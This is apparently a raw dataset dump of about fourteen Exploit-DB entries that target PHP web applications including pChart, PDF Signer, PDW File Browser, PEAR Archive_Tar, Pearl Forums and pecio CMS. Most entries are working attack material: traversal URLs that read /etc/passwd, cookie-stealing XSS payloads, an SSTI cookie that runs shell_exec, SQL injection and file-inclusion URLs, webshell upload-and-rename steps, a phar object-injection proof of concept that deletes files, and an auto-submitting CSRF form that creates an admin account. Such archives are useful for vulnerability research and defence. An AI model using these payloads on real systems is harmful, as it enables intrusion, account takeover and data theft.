deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31173
Description: pChart 2.1.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-01-24
Author: Balazs Makany

Exploit:
# Exploit Title: pChart 2.1.3 Directory Traversal and Reflected XSS
# Date: 2014-01-24
# Exploit Author: Balazs Makany
# Vendor Homepage: www.pchart.net
# Software Link: www.pchart.net/download
# Google Dork: intitle:"pChart 2.x - examples" intext:"2.1.3"
# Version: 2.1.3
# Tested on: N/A (Web Application. Tested on FreeBSD and Apache)
# CVE : N/A

[0] Summary:
PHP library pChart 2.1.3 (and possibly previous versions) by default
contains an examples folder, where the application is vulnerable to
Directory Traversal and Cross-Site Scripting (XSS).
It is plausible that custom built production code contains similar
problems if the usage of the library was copied from the examples.
The exploit author engaged the vendor before publicly disclosing the
vulnerability and consequently the vendor released an official fix
before the vulnerability was published.


[1] Directory Traversal:
"hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd"
The traversal is executed with the web server's privilege and leads to
sensitive file disclosure (passwd, siteconf.inc.php or similar),
access to source codes, hardcoded passwords or other high impact
consequences, depending on the web server's configuration.
This problem may exists in the production code if the example code was
copied into the production environment.

Directory Traversal remediation:
1) Update to the latest version of the software.
2) Remove public access to the examples folder where applicable.
3) Use a Web Application Firewall or similar technology to filter
malicious input attempts.


[2] Cross-Site Scripting (XSS):
"hxxp://localhost/examples/sandbox/script/session.php?<script>alert('XSS')</script>
This file uses multiple variables throughout the session, and most of
them are vulnerable to XSS attacks. Certain parameters are persistent
throughout the session and therefore persists until the user session
is active. The parameters are unfiltered.

Cross-Site Scripting remediation:
1) Update to the latest version of the software.
2) Remove public access to the examples folder where applicable.
3) Use a Web Application Firewall or similar technology to filter
malicious input attempts.


[3] Disclosure timeline:
2014 January 16 - Vulnerability confirmed, vendor contacted
2014 January 17 - Vendor replied, responsible disclosure was orchestrated
2014 January 24 - Vendor was inquired about progress, vendor replied
and noted that the official patch is released.
Exploit-DB #3689
Description: PcP-Guestbook 3.0 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-04-08
Author: Dj7xpl

Exploit:
                                                          .-""""""""-.                                 
                                                         /   Dj7xpl   \                              
                                                        |              |                                
                                                        |,  .-.  .-.  ,|                                
                                                        | )(_o/  \o_)( |                                     
                                                        |/     /\     \|                                 
                                              (@_       (_     ^^     _)                  
                                         _     ) \_______\__|IIIIII|__/_______________________________
                                        (_)@8@8{}<________|-\IIIIII/-|________________________________>
                                               )_/        \          / 
                                               (@
											   
+_______________________________________________Iranian Are The Best In World___________________________________________+
*
*
*       [~] Portal.......:    PcP-Book 3.0
*	[~] Site.........:    http://www.pcp-system.at
*       [~] Down.........:    http://www.ectona.org/download/?id=621&s=info
*	[~] Author.......:    Dj7xpl  | Dj7xpl@yahoo.com
*
+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*
*       [~] Vuln.........:         http://[Target]/[Path]/index.php?lang=[File-To-Require]%00
*                                  http://[Target]/[Path]/gb.php?lang=[File-To-Require]%00
*                                  http://[Target]/[Path]/faq.php?lang=[File-To-Require]%00
*                             
*		
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-04-08]
Exploit-DB #46276
Description: PDF Signer 3.0 - Server-Side Template Injection leading to Remote Command Execution (via Cross-Site Request Forgery Cookie)
Type: webapps
Platform: php
Date: 2019-01-29
Author: dd_

Exploit:
# Exploit Title: PDF Signer v3.0 - SSTI to RCE via CSRF Cookie
# Dork: N/A
# Date: 2019-01-28
# Exploit Author: dd_ (info@malicious.group)
# Vendor Homepage: https://codecanyon.net/user/simcy_creative
# Software Link: https://codecanyon.net/item/signer-create-digital-signatures-and-sign-pdf-documents-online/20737707
# Version: v3.0
# Tested on: PHP/MySQL (PHP 7.2 / MySQL 5.7.25-0ubuntu0.18.04.2-log)
# Vendor Banner: Signer v3.0 – Create Digital signatures and Sign PDF documents
# Research IRC: irc.blackcatz.org #blackcatz

# Vulnerability: Server-Side Template Injection leading to Remote Command Execution due to improper Cookie handling and improper CSRF implementation.

# POC:
# 1)

GET / HTTP/1.1
Host: signer.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://signer.local/signin/?secure=true
Connection: close
Cookie: CSRF-TOKEN=rnqvt{{[PHP_COMMAND_HERE]}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl
Upgrade-Insecure-Requests: 1

# Example

[REQUEST]

GET / HTTP/1.1
Host: signer.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://signer.local/signin/?secure=true
Connection: close
Cookie: CSRF-TOKEN=rnqvt{{shell_exec('ls -lah')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl
Upgrade-Insecure-Requests: 1

[RESPONSE]

--half way down page---snip--

<label>Folder name</label>
<input type="text" class="form-control" name="foldername" placeholder="Folder name" data-parsley-required="true">
<input type="hidden" name="folder" value="1">
<input type="hidden" name="folderid">
<input type="hidden" name="csrf-token" value="rnqvttotal 112K
drwxr-xr-x  9 www-data www-data 4.0K Jan 28 12:04 .
drwxr-xr-x  6 www-data www-data 4.0K Jan 28 06:19 ..
-rw-r--r--  1 www-data www-data 1.1K Jan 28 12:03 .env
-rw-r--r--  1 www-data www-data  532 Jan  9 20:52 .htaccess
drwxr-xr-x  9 www-data www-data 4.0K Jan  9 20:53 assets
-rw-r--r--  1 www-data www-data  947 Jan  9 20:52 composer.json
-rw-r--r--  1 www-data www-data  54K Jan  9 20:52 composer.lock
drwxr-xr-x  2 www-data www-data 4.0K Jan 28 11:59 config
-rw-r--r--  1 www-data www-data 1.7K Jan  9 20:52 cron.php
-rw-r--r--  1 www-data www-data  169 Jan  9 20:52 index.php
drwxr-xr-x  3 www-data www-data 4.0K Jan  9 20:53 lang
drwxr-xr-x  6 www-data www-data 4.0K Jan 28 11:46 src
drwxr-xr-x  9 www-data www-data 4.0K Jan  9 20:53 uploads
drwxr-xr-x 24 www-data www-data 4.0K Jan  9 20:53 vendor
drwxr-xr-x  6 www-data www-data 4.0K Jan  9 20:53 views
to5gw" />
</div>
</div>
</div>

--- snip ---
Exploit-DB #26633
Description: PDJK-support Suite 1.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15598/info

PDJK-support Suite is prone to multiple SQL injection vulnerabilities. These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

PDJK-support retail version 1.1a is reported to be vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=news&subsection=viewcomments&news_id=[sql]
http://www.example.com//index.php?page=faq&subsection=viewfaq&faq_id=[sql]
http://www.example.com//index.php?page=home&order=&orderby=&rowstart=[sql]
Exploit-DB #48947
Description: PDW File Browser 1.3 - 'new_filename' Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2020-10-26
Author: David Bimmel

Exploit:
# Exploit Title: PDW File Browser <= v1.3 - Cross-Site Scripting (XSS)
# Date: 24-10-2020
# Exploit Author: David Bimmel
# Researchers: David Bimmel, Joost Vondeling, Ramòn Janssen
# Vendor Homepage: n/a
# Software Link: https://github.com/GuidoNeele/PDW-File-Browser
# Version: <=1.3

The PDW File Browser is a plugin for the TinyMCE and CKEditor WYSIWYG editors. The PDW File Browser contains a stored and Reflected XSS vulnerability which results in code execution within the browser of an authenticated user. This vulnerability can be exploited when an authenticated user visits the crafted URL (i.e. when phished or when visiting a website containing the URL).

Stored XSS:
The stored XSS is a result of insufficient input sanitization within the 'rename' functionality within the PDW file browser. 
Below I have provided an example request were the filename (FILE.txt) is replaced with an XSS payload (<svg onload=alert(document.cookies)>). The payload gets executed when any authenticated user navigates to the PDW File browser page.

POST /ckeditor/plugins/pdw_file_browser/actions.php
HTTP/1.1 Host: <HOSTNAME>
[…]
action=rename&new_filename=<svg+onload=alert(document.cookie
s)>&old_filename=script%253EFILE.txt&folder=%252Fmedia%252F&typ
e=file

Reflected XSS:
The Reflected XSS is a result of insufficient input sanitization of the 'path' parameter when fetching the file specifications (file_specs.php). Below I have provided an example URL. When using this URL the user navigates to an non-existing file (the XSS payload). This results in the execution of the payload.

https://<HOSTNAME>/ckeditor/plugins/pdw_file_browser/file_spe
cs.php?ajax=true&path=%3Csvg+onload=alert(document.cookies)%
3E&type=file



Happy Hacking :^)
Exploit-DB #48987
Description: PDW File Browser 1.3 - Remote Code Execution
Type: webapps
Platform: php
Date: 2020-11-04
Author: David Bimmel

Exploit:
# Exploit Title: PDW File Browser 1.3 - Remote Code Execution
# Date: 24-10-2020
# Exploit Author: David Bimmel
# Researchers: David Bimmel, Joost Vondeling, Ramòn Janssen
# Vendor Homepage: n/a
# Software Link: https://github.com/GuidoNeele/PDW-File-Browser
# Version: <=1.3

Attack type
Remote

Impact
Remote Code Execution

The PDW File Browser is a plugin for the TinyMCE and CKEditor WYSIWYG editors. The PDW File Browser contains a critical software vulnerability which results in remote code execution on the web server. This vulnerability can be exploited by all authenticated users.


Steps to RCE:

Upload a .txt file containing your webshell code using the default file upload functionality within the PDF file Browser. Please note that all users (including unauthenticated users) are able to access your webshell later on. For security purposes I would recommend using weevely (https://github.com/epinna/weevely3) as this obfuscated and password protects your webshell. Below I have provided how the request should look like for uploading your WEBSHELL.txt file.


POST /ckeditor/plugins/pdw_file_browser/ajax_php_uploader.php?uploadpath=%2Fmedia%2F&qqfile=WEBSHELL.txt HTTP/1.1
Host: <HOSTNAME>
[…]
<?php
<WEBSHELLCODE HERE>
?>


Once you have uploaded your webshell with a .txt extension (WEBSHELL.txt) you are able to rename the file using the rename functionality of the PDW File Browser. 
Within this functionality it is possible to both change the file extension your WEBSHELL from .txt to .php and move the file to an arbitrary location on the web server . The path to the arbitrary location should contain double encoded characters. 

Below I have provided an example which both renames our WEBSHELL.txt to WEBSHELL.php and relocates the file to the 'content' directory.


POST /ckeditor/plugins/pdw_file_browser/actions.php HTTP/1.1
Host: <HOSTNAME>
[…]
action=rename&new_filename=%252E%252E%252Fcontent%252FWEBSHELL.php&old_filename=WEBSHELL.txt&folder=%252Fmedia%252F&type=file


After this request your webshell should be located at ‘https://<TARGET>/content/WEBSHELL.php’


Happy Hacking :^)
Exploit-DB #46108
Description: PEAR Archive_Tar < 1.4.4 - PHP Object Injection
Type: webapps
Platform: php
Date: 2019-01-10
Author: Fariskhi Vidyan

Exploit:
PEAR Archive_Tar < 1.4.4 - PHP Object Injection

Date:
  January 10, 2019

Author:
  farisv

Vendor Homepage:
  https://pear.php.net/package/Archive_Tar/

Vulnerable Package Link:
  http://download.pear.php.net/package/Archive_Tar-1.4.3.tgz

CVE:
  CVE-2[PII_REDACTED]

In PEAR Archive_Tar before 1.4.4, there are several file operation with `$v_header['filename']` as parameter (such as file_exists, is_file, is_dir, etc). When extract() is called without a specific prefix path, we can trigger phar induced unserialization by crafting a tar file with `phar://[path_to_malicious_phar_file]` as path name. Object injection can be used to trigger destructor/wakeup method in the loaded PHP classes, e.g. the Archive_Tar class itself. With Archive_Tar itself, we can trigger arbitrary file deletion because `@unlink($this->_temp_tarname)` will be called in the destructor method. If another class with useful gadget is loaded, remote code execution may be possible.


Steps to reproduce object injection and arbitrary file deletion:

1. Make sure that PHP & PEAR are installed.
2. Download vulnerable PEAR Archive_Tar.

$ wget http://download.pear.php.net/package/Archive_Tar-1.4.3.tgz
$ tar xfz Archive_Tar-1.4.3.tgz
$ cd Archive_Tar-1.4.3

3. Create vulnerable code (vulnerable.php).

```
<?php
  require 'Archive/Tar.php';

  $exploit = new Archive_Tar('exploit.tar');
  $exploit->extract();
```

4. Create dummy file /tmp/test.

$ touch /tmp/test

5. Genereate exploit.phar with the following PHP code and place the exploit.phar in the same directory with vulnerable.php.

```
<?php

class Archive_Tar {
  public $_temp_tarname;
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

$object = new Archive_Tar;
$object->_temp_tarname = '/tmp/test';
$phar->setMetadata($object);
$phar->stopBuffering();
```

6. Create exploit.tar with the following Python code.

```
import tarfile

tf = tarfile.open('exploit.tar', 'w')

tf.add('/dev/null', 'phar://exploit.phar')
tf.close()
```

7. Execute vulnerable.php to trigger object injection to delete /tmp/test.

$ ls -alt /tmp/test
-rw-rw-r-- 1 vagrant vagrant 0 Jan  9 16:41 /tmp/test
$ php vulnerable.php
$ ls -alt /tmp/test
ls: cannot access '/tmp/test': No such file or directory
Exploit-DB #26511
Description: Pearl Forums 2.0 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2005-11-15
Author: abducter_minds@yahoo.com

Exploit:
source: https://www.securityfocus.com/bid/15433/info

Pearl Forums is prone to a local file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to disclose sensitive information. This may help with further attacks on the affected computer.

It should be noted that this issue may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server.

http://www.example.com/support/index.php?mode=../../index
Exploit-DB #26510
Description: Pearl Forums 2.0 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-15
Author: abducter_minds@yahoo.com

Exploit:
source: https://www.securityfocus.com/bid/15425/info

Pearl Forums is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/support/index.php?mode=forums&forumId=[sql]
Exploit-DB #2826
Description: Pearl Forums 2.4 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-11-21
Author: 3l3ctric-Cracker

Exploit:
_____         __  __             __      ___
|  __ \       |  \/  |            \ \    / (_)
| |  | |_ __  | \  / | __ ___  __  \ \  / / _ _ __ _   _ ___
| |  | | '__| | |\/| |/ _` \ \/ /   \ \/ / | | '__| | | / __|
| |__| | |    | |  | | (_| |>  <     \  /  | | |  | |_| \__ \
|_____/|_|    |_|  |_|\__,_/_/\_\     \/   |_|_|   \__,_|___/


/////////////////////////////////////////////////////////////////////////////////////////////////////////////
//Script:Pearl Forums
//Author: Dr Max Virus
//Location:Egypt :)
//Description:The main  Script Of Pearl Products
//Affected Version:2.4
//D
script:http://sourceforge.net/project/downloading.php?group_id=102974&use_mirror=switch&filename=pearlforums2.4.zip&351611
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
//----------------------------------------------------------------------------------

 Bug in
  adressbook.php & admin.php & merge.php &
more than
 u expected files r vulnerable just try to check all files
 Like the Vulnerable Scripts Of Pearl

--------------------------------------------------------------------------------\\

-------------------------------------------------------------------------------
 Vul Codes:
 include_once("$GlobalSettings[templatesDirectory]/addressbook.php");
 include_once("$templatesDirectory/admin.php");

-----------------------------------------------------------------------------------
 Exploits:
 ~~~~~~~~~
 Note that more variables are not sanitized so Exploits can work
Successfuly when
 register_globals=on



code
http://[target]/[path]/includes/admin.php?templatesDirectory-evill code
http://[target]/[path]/includes/password.php?GlobalSettings[templatesDirectory]=evill
code
http://[target]/[path]/includes/profile.php?GlobalSettings[templatesDirectory]=evill
code
http://[target]/[path]/includes/merge.php?GlobalSettings[templatesDirectory]=evill
code
http://[target]/[path]/includes/adminPolls.php?GlobalSettings[templatesDirectory]=evill
code
http://[target]/[path]/includes/poll.php?GlobalSettings[templatesDirectory]=evill
code

    And Many Bug u can discovered just download the script

-----------------------------------------------------------------------------------
    Thx To:str0ke & www.milw0rm.com & www.zone-h.com & All My Friends
    Special Gr33Ts:ASIANEAGLE & Kacper & The Master

////////////////////////////////////////////////////////////////////////////////////

# milw0rm.com [2006-11-21]
Exploit-DB #8593
Description: pecio CMS 1.1.5 - 'index.php?language' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-05-01
Author: SirGod

Exploit:
#######################################################################################################
[+] pecio cms 1.1.5 (index.php language) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
#######################################################################################################

[+] Local File Inclusion

   PoC :

     http://127.0.0.1/[path]/install/index.php?step=2&language=../../../../../../../BOOTSECT.BAK%00

########################################################################################################

# milw0rm.com [2009-05-01]
Exploit-DB #34892
Description: pecio CMS 2.0.5 - 'target' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-10-21
Author: Antu Sanadi

Exploit:
source: https://www.securityfocus.com/bid/44304/info

pecio cms is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

pecio cms 2.0.5 is vulnerable; prior versions may also be affected.

http://www.example.com/pecio/index.php?target=search&term=<script>alert(&#039;XSS-Test&#039;)</script>
Exploit-DB #15835
Description: pecio CMS 2.0.5 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2010-12-27
Author: P0C T34M

Exploit:
#Title    : pecio CMS v2.0.5 <= CSRF Add Admin
#Script   : pecio CMS v2.0.5 
#Language : Php
#Download : Download: http://pecio-cms.com/pec_upload/files/pecio-2.0.5.zip
#Date     : 2010/12/25
#Found    : by P0C T34M >> tnt-r00t 
#Homepage : www.p0c.cc

<html>
<form name="tnt" action="http://127.0.0.1/pec/pec_admin/admin.php?area=users&ampview=default&action=create" method="post">

    <input type="hidden" name="user_name" type="hidden" value="myna0me"/ >
    <input type="hidden" name="user_forename" type="hidden" value="r00t" />
    <input type="hidden" name="user_surname" type="hidden" value="myname"/ >
    <input type="hidden" name="user_email" type="hidden" value="r00t@cr.tr" />
    <input type="hidden" name="user_password" type="hidden" value="r0o0t" />
    <input type="hidden" name="user_password_repeat" type="hidden" value="r0o0t" />  
                
                            <input type="hidden" name="user_perm_articles" id="perm_articles_full" value="2" checked="checked" type="radio">  
                            <input type="hidden" name="user_perm_menupoints" id="perm_menupoints_none" value="2" checked="checked" type="radio">  
                            <input type="hidden" name="user_perm_menupoints" id="perm_menupoints_full" value="2" checked="checked" type="radio">  
                            <input type="hidden" name="user_perm_texts" id="perm_texts_full" value="2" checked="checked" type="radio">         
                            <input type="hidden" name="user_perm_links" id="perm_links_full" value="2" checked="checked" type="radio">  
                            <input type="hidden" name="user_perm_posts" id="perm_posts_full" value="2" checked="checked" type="radio">   
                            <input type="hidden" name="user_perm_comments" id="perm_comments_full" value="2" checked="checked" type="radio">                     
                            <input type="hidden" name="user_perm_users" id="perm_users_full" value="2" checked="checked" type="radio">  
                            <input type="hidden" name="user_perm_plugins" id="perm_plugins_full" value="2" checked="checked" type="radio">               
                            <input type="hidden" name="user_perm_templates" id="perm_templates_full" value="2" checked="checked" type="radio">  
                            <input type="hidden" name="user_perm_settings" id="perm_settings_full" value="2" checked="checked" type="radio">  

<input type="hidden" name="Submit" class="submit" value="Add User" type="submit"/>
</form>
<script>document.tnt.submit();</script>
</html>
 
NickName : P0C T34M